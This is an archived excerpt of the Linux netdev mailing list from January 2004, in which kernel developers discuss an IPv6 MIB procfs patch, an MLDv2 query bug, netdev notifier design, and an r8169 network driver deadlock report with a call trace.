In article <OFC6D64AE0.CEE7DA5F-ON87256E1= C.0068A56A@us.ibm.com> (at Thu, 15 Jan 2004 11:09:47 -0800), Shirley= Ma <xma@us.ibm.com> says:

> But if no applications use this value, and nothing is boken. It's = not
> harmful to change the kernel to provide MIBs in as-is format.

Shirley, nobody can prove that nothing will be broken. :-)

--yoshfuji


= --0__=08BBE48FDFF90FC38f9e8a93df938690918c08BBE48FDFF90FC3-- From yoshfuji@linux-ipv6.org Thu Jan 15 11:36:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 11:36:36 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FJaM6H002698 for ; Thu, 15 Jan 2004 11:36:23 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id A140433CA5; Fri, 16 Jan 2004 04:36:50 +0900 (JST) Date: Fri, 16 Jan 2004 04:36:50 +0900 (JST) Message-Id: <20040116.043650.125087555.yoshfuji@linux-ipv6.org> To: xma@us.ibm.com Cc: mashirle@us.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2509 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 461 Lines: 10 In article (at Thu, 15 Jan 2004 11:30:25 -0800), Shirley Ma says: > I don't see any application uses these values for now, so I change them. > It's good for kernel to provide the real MIBs information. If later on, > some applications start to use these values, they can get the correct > numbers without converting. Unless you can give me an broken example. :-) ip -6 route ? --yoshfuji From davem@pizda.ninka.net Thu Jan 15 11:44:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 11:44:28 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FJiF6H003161 for ; Thu, 15 Jan 2004 11:44:16 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id LAA09003; Thu, 15 Jan 2004 11:37:00 -0800 Date: Thu, 15 Jan 2004 11:37:00 -0800 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: xma@us.ibm.com, mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable Message-Id: <20040115113700.166ddfb0.davem@redhat.com> In-Reply-To: <20040116.041950.35757995.yoshfuji@linux-ipv6.org> References: <20040116.041950.35757995.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2510 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 588 Lines: 12 On Fri, 16 Jan 2004 04:19:50 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > In article (at Thu, 15 Jan 2004 11:09:47 -0800), Shirley Ma says: > > > But if no applications use this value, and nothing is boken. It's not > > harmful to change the kernel to provide MIBs in as-is format. > > Shirley, nobody can prove that nothing will be broken. :-) And also, the current situation is OK as long as this value we present now can be converted into the desired value. Is this the case? From yoshfuji@linux-ipv6.org Thu Jan 15 11:44:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 11:45:08 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FJit6H003218 for ; Thu, 15 Jan 2004 11:44:55 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id ED4DF33CA5; Fri, 16 Jan 2004 04:45:22 +0900 (JST) Date: Fri, 16 Jan 2004 04:45:22 +0900 (JST) Message-Id: <20040116.044522.45452827.yoshfuji@linux-ipv6.org> To: xma@us.ibm.com Cc: mashirle@us.ibm.com, davem@redhat.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2511 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 729 Lines: 20 In article (at Thu, 15 Jan 2004 11:30:25 -0800), Shirley Ma says: > This rule would mean that any new kernel development *could* break > something somewhere else? ;-) Please try to avoid changing the interface as long as you can. Please add something rather change it. In these case, we can avoid changing the interface, so let's avoid breaking interface. For ipv6inetNetToMeiaTable case, it is ok to add "jiffies," but it wrong to change the value's context. If you really want to "change" that, please change the name. Thanks. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From davem@pizda.ninka.net Thu Jan 15 11:46:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 11:47:11 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FJkw6H003900 for ; Thu, 15 Jan 2004 11:46:58 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id LAA09027; Thu, 15 Jan 2004 11:38:40 -0800 Date: Thu, 15 Jan 2004 11:38:40 -0800 From: "David S. Miller" To: Shirley Ma Cc: yoshfuji@linux-ipv6.org, mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable Message-Id: <20040115113840.4b7eb5d8.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2512 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 632 Lines: 14 On Thu, 15 Jan 2004 11:30:25 -0800 Shirley Ma wrote: > I don't see any application uses these values for now, so I change them. > It's good for kernel to provide the real MIBs information. If later on, > some applications start to use these values, they can get the correct > numbers without converting. Unless you can give me an broken example. :-) Format and layout of procfs files have to stay as they are, this is just the nature of the game. We can create new files to present information in new ways and formats, but I totally prefer using netlink based information gathering over making new procfs files. From yoshfuji@linux-ipv6.org Thu Jan 15 11:47:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 11:47:20 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FJl76H003949 for ; Thu, 15 Jan 2004 11:47:07 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 3275B33CA5; Fri, 16 Jan 2004 04:47:35 +0900 (JST) Date: Fri, 16 Jan 2004 04:47:34 +0900 (JST) Message-Id: <20040116.044734.108733295.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: xma@us.ibm.com, mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040115113700.166ddfb0.davem@redhat.com> References: <20040116.041950.35757995.yoshfuji@linux-ipv6.org> <20040115113700.166ddfb0.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2513 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 382 Lines: 9 In article <20040115113700.166ddfb0.davem@redhat.com> (at Thu, 15 Jan 2004 11:37:00 -0800), "David S. Miller" says: > And also, the current situation is OK as long as this value we present now > can be converted into the desired value. Is this the case? I think so for the routing table AFAIK. For neighbours, "jiffies" is required to be exported. --yoshfuji From davem@pizda.ninka.net Thu Jan 15 11:47:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 11:47:53 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FJle6H004172 for ; Thu, 15 Jan 2004 11:47:40 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id LAA09040; Thu, 15 Jan 2004 11:40:25 -0800 Date: Thu, 15 Jan 2004 11:40:25 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: mpm@selenic.com, netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. Message-Id: <20040115114025.39f20acf.davem@redhat.com> In-Reply-To: <20040115095252.3641d126.shemminger@osdl.org> References: <20040113154610.38f5934c.shemminger@osdl.org> <20040113155921.342db463.davem@redhat.com> <20040113161303.20f1159d.shemminger@osdl.org> <20040114071303.GG28521@waste.org> <20040114113734.4e9a0865.shemminger@osdl.org> <20040114121155.7dabd70e.davem@redhat.com> <20040114162411.08322247.shemminger@osdl.org> <20040115004631.2839c8b8.davem@redhat.com> <20040115095252.3641d126.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2514 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 625 Lines: 17 On Thu, 15 Jan 2004 09:52:52 -0800 Stephen Hemminger wrote: > On Thu, 15 Jan 2004 00:46:31 -0800 > "David S. Miller" wrote: > > > Ok, but... I thought we had decided to move towards the hashing based > > patch you said you had so we can kill two birds with one stone? > > > > At least, that is the conclusion I thought we had arrived at. > > :-) > > The right way is a combination of the two pass dev_alloc_name and hashing > the names. Both work together Ok, please resend the final version of your dev_alloc_name() bitmap patch under seperate cover so I can apply it, thanks. From dlstevens@us.ibm.com Thu Jan 15 11:47:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 11:48:07 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FJlr6H004301 for ; Thu, 15 Jan 2004 11:47:53 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0FJljlS019724; Thu, 15 Jan 2004 14:47:45 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0FJlfSr129068; Thu, 15 Jan 2004 12:47:45 -0700 Importance: Normal Sensitivity: Subject: Re: Source Specific Query of MLDv2 To: Takashi Hibi Cc: netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: David Stevens Date: Thu, 15 Jan 2004 12:47:41 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/15/2004 12:47:44 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE48FDFFFA87B8f9e8a93df938690918c07BBE48FDFFFA87B" Content-Disposition: inline X-archive-position: 2515 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 3024 Lines: 103 --0__=07BBE48FDFFFA87B8f9e8a93df938690918c07BBE48FDFFFA87B Content-type: text/plain; charset=US-ASCII Takashi, You're right that MLD packets should be excluded from the interface filters. I'll take a look at this. Also, it has nothing to do with this problem, but the code is based on draft 6, so any changes between draft 6 and draft 8 (if there are any in the protocol) won't be there (yet). thanks! +-DLS Takashi Hibi @oss.sgi.com on 01/15/2004 05:18:41 AM Sent by: netdev-bounce@oss.sgi.com To: netdev@oss.sgi.com cc: Subject: Source Specific Query of MLDv2 Hi all, I found another problem of MLDv2. The host doesn't respond to Source Specific Query. It happens in the following scenario. At first, host join multicast address with source address. Then MLDv2 router issues Source Specific Query. The source address of the query packet is link-local address of the router's interface, and the destination address is the multicast address to be queried. (See section 5.1.4 in draft-vida-mld-v2-08.txt) But it seems that the query packet is filtered by ipv6_chk_mcast_addr(), since the source address is not included in the source list. As a result, no response to the query is produced . Regards, Takashi Hibi --0__=07BBE48FDFFFA87B8f9e8a93df938690918c07BBE48FDFFFA87B Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Takashi,
You're right that MLD packets should be excluded from the
interface filters. I'll take a look at this.

Also, it has nothing to do with this problem, but the code is based on
draft 6, so any changes between draft 6 and draft 8 (if there are any
in the protocol) won't be there (yet).

thanks!

+-DLS

Sent by: netdev-bounce@oss.sgi.com

To: netdev@oss.sgi.com
cc:
Subject: Source Specific Query of MLDv2



Hi all,

I found another problem of MLDv2.
The host doesn't respond to Source Specific Query.
It happens in the following scenario.

At first, host join multicast address with source address.
Then MLDv2 router issues Source Specific Query.
The source address of the query packet is link-local address of the
router's interface, and the destination address is the multicast address
to be queried. (See section 5.1.4 in draft-vida-mld-v2-08.txt)

But it seems that the query packet is filtered by ipv6_chk_mcast_addr(),
since the source address is not included in the source list.
As a result, no response to the query is produced .

Regards,
Takashi Hibi




--0__=07BBE48FDFFFA87B8f9e8a93df938690918c07BBE48FDFFFA87B-- From yoshfuji@linux-ipv6.org Thu Jan 15 11:53:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 11:53:27 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FJrE6H005773 for ; Thu, 15 Jan 2004 11:53:14 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 162DA33CA5; Fri, 16 Jan 2004 04:53:42 +0900 (JST) Date: Fri, 16 Jan 2004 04:53:41 +0900 (JST) Message-Id: <20040116.045341.11259916.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: xma@us.ibm.com, mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040115113840.4b7eb5d8.davem@redhat.com> References: <20040115113840.4b7eb5d8.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2516 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 457 Lines: 11 In article <20040115113840.4b7eb5d8.davem@redhat.com> (at Thu, 15 Jan 2004 11:38:40 -0800), "David S. Miller" says: > We can create new files to present information in new ways and formats, > but I totally prefer using netlink based information gathering over making > new procfs files. Although this discussion is about rtnetlink message, problem will be solved if we provide jiffies for neigbours IMHO. --yoshfuji @ let me sleep... From davem@pizda.ninka.net Thu Jan 15 11:59:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 11:59:34 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FJxM6H006601 for ; Thu, 15 Jan 2004 11:59:22 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id LAA09124; Thu, 15 Jan 2004 11:51:58 -0800 Date: Thu, 15 Jan 2004 11:51:58 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com, chas@cmf.nrl.navy.mil Subject: Re: [PATCH] (1/5) replay netdev notifier events on registration Message-Id: <20040115115158.4c78e2ae.davem@redhat.com> In-Reply-To: <20040115101617.0782fcca.shemminger@osdl.org> References: <20040113105843.0d1351cb.shemminger@osdl.org> <20040113163631.1a9c1a59.davem@redhat.com> <20040114164416.753a62fc.shemminger@osdl.org> <20040115004255.62dc8b95.davem@redhat.com> <20040115101617.0782fcca.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2517 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 2093 Lines: 54 On Thu, 15 Jan 2004 10:16:17 -0800 Stephen Hemminger wrote: > On Thu, 15 Jan 2004 00:42:55 -0800 > "David S. Miller" wrote: > > > Ok, I have an idea, consider this. We add a netdev->notifier() > > method. We create a new routine to net/core/dev.c: > > > > static void run_netdev_notifiers(int event, struct net_device *dev) > > { > > notifier_call_chain(&netdev_chain, event, dev); > > > > if (dev->notifier) > > dev->notifier(dev, event); > > } > > > > Then replace all the notifier_call_chain(&netdev_chain, ...) calls > > in net/core/dev.c with invocations of run_netdev_notifiers(). > > > > I believe we can (and thus should) add an ASSERT_RTNL() to this new > > run_netdev_notifiers() functions, although I'm not %100 sure. > > > > What do you think Stephen? > > Feeling stupid this morning, how wold this help? Would device set > dev->notifier and not register for other notifications? That's correct. This eliminates the "am I a type FOO device", because this netdev->notifier() call would be implication only run on the correct device types. > Rather than a single notifier why not add a dev->notify_chain and > do: > notifier_call_chain(&netdev_chain, event, dev); > notifier_call_chain(dev->notify_chain, event, dev); > > But the whole programming model of responding to callbacks seems bassackwards > in these cases, because the device can process the same events (up/down) > on the front side (open/close) rather than getting callbacks. At least in the > qeth case it seems like a messed up design. qeth is a mess period, it tries to be overly clever because of the things it is trying to achieve and as a result it's an abominable piece of complexity. I don't see how a "dev->notify_chain" like scheme could work... Oh I see, this way the driver can register multiple private device-type specific notifiers. Yes, this looks like a fine way to do this too. But really, the driver too could do all of it's "notifiers" in the one dev->notifier() method. I'm not overly picky about using one scheme over another. From xma@us.ibm.com Thu Jan 15 12:00:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 12:00:49 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FK0a6H006880 for ; Thu, 15 Jan 2004 12:00:36 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0FJxqrE177934; Thu, 15 Jan 2004 14:59:52 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0FJxpSp132920; Thu, 15 Jan 2004 12:59:51 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Thu, 15 Jan 2004 11:59:49 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/15/2004 12:59:51 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE48FDFFE3C788f9e8a93df938690918c08BBE48FDFFE3C78" Content-Disposition: inline X-archive-position: 2518 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2820 Lines: 88 --0__=08BBE48FDFFE3C788f9e8a93df938690918c08BBE48FDFFE3C78 Content-type: text/plain; charset=ISO-2022-JP OK, I agree with both of you. Then this patch is not needed. Yoshifuji, you can sleep in peace. ;-) Thank you all! Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 YOSHIFUJI Hideaki / $B5HF#1QL@(B @oss.sgi.com on 01/15/2004 11:53:41 AM Sent by: netdev-bounce@oss.sgi.com To: davem@redhat.com cc: Shirley Ma/Beaverton/IBM@IBMUS, mashirle@us.ltcfwd.linux.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable In article <20040115113840.4b7eb5d8.davem@redhat.com> (at Thu, 15 Jan 2004 11:38:40 -0800), "David S. Miller" says: > We can create new files to present information in new ways and formats, > but I totally prefer using netlink based information gathering over making > new procfs files. Although this discussion is about rtnetlink message, problem will be solved if we provide jiffies for neigbours IMHO. --yoshfuji @ let me sleep... --0__=08BBE48FDFFE3C788f9e8a93df938690918c08BBE48FDFFE3C78 Content-type: text/html; charset=ISO-2022-JP Content-Disposition: inline

OK, I agree with both of you. Then this patch is not needed. Yoshifuji, you can sleep in peace. ;-)

Thank you all!
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228


Sent by: netdev-bounce@oss.sgi.com

To: davem@redhat.com
cc: Shirley Ma/Beaverton/IBM@IBMUS, mashirle@us.ltcfwd.linux.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org
Subject: Re: [PATCH] IPv6 MIB:ipv6DefaultRouterTable


In article <20040115113840.4b7eb5d8.davem@redhat.com> (at Thu, 15 Jan 2004 11:38:40 -0800), "David S. Miller" <davem@redhat.com> says:

> We can create new files to present information in new ways and formats,
> but I totally prefer using netlink based information gathering over making
> new procfs files.

Although this discussion is about rtnetlink message,
problem will be solved if we provide jiffies for neigbours
IMHO.

--yoshfuji @ let me sleep...



--0__=08BBE48FDFFE3C788f9e8a93df938690918c08BBE48FDFFE3C78-- From romieu@fr.zoreil.com Thu Jan 15 13:08:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 13:08:58 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FL8e6H009152 for ; Thu, 15 Jan 2004 13:08:43 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0FL8TsW022254; Thu, 15 Jan 2004 22:08:29 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0FL8RMH022253; Thu, 15 Jan 2004 22:08:27 +0100 Date: Thu, 15 Jan 2004 22:08:27 +0100 From: Francois Romieu To: Srihari Vijayaraghavan Cc: netdev@oss.sgi.com Subject: Re: [PROBLEM] r8169 deadlocks Message-ID: <20040115220827.A22007@electric-eye.fr.zoreil.com> References: <200401152039.00182.harisri@bigpond.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200401152039.00182.harisri@bigpond.com>; from harisri@bigpond.com on Thu, Jan 15, 2004 at 08:38:59PM +1100 X-Organisation: Land of Sunshine Inc. X-archive-position: 2519 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 1858 Lines: 43 Srihari Vijayaraghavan : [...] > Consider desktop as the computer with the RealTek r8169 card and laptop from > where I perform these steps: > 1. ssh desktop > 2. while true; do ls -la /; done > 3. In few seconds the desktop computer hangs > (And of course at the laptop computer the ssh session hangs) > > Here is the sysrq-p from the desktop computer (captured using serial-console): > Pid: 1963, comm: ls Not tainted > RIP: 0010:[] > {:r8169:rtl8169_tx_interrupt+73} > RSP: 0000:ffffffff80374dc8 EFLAGS: 00000286 > RAX: 0000000000000420 RBX: ffffffff80374d18 RCX: 0000010000399000 > RDX: ffffffff80370e80 RSI: 000000003525d05e RDI: 0000000080391bf0 > RBP: ffffffff801100d9 R08: 0000000000000007 R09: 0000000000000000 > R10: 0000002a95587de0 R11: 0000000000000003 R12: 0000000000000042 > R13: 0000000000000001 R14: 00000000000000bc R15: 000001003f7d1340 > FS: 00000000005144a0(005b) GS:ffffffff80370e80(0000) knlGS:0000000000000000 > CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b > CR2: 0000002a957876d0 CR3: 0000000000101000 CR4: 00000000000006a0 > > Call Trace: {:r8169:rtl8169_interrupt+120} > {handle_IRQ_event+47} > {do_IRQ+147} {ret_from_intr+0} > {retint_careful+13} *head scratch* Can you monitor 'vmstat 1' output on the r8169 host during the test ? You can try 2.6.1-bk2 + Jeff Garzik's -netdev4 + http://www.fr.zoreil.com/people/francois/misc/r8169-tx-index-overflow.patch If it does not perform better, you can try against 2.6.1-bk1 the set at http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.1-bk1-b If I remember correctly, you are the first report of a non-completely disfunctional driver for the new version of the r8169. Things improve. -- Ueimor From jgarzik@pobox.com Thu Jan 15 13:11:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 13:11:47 -0800 (PST) 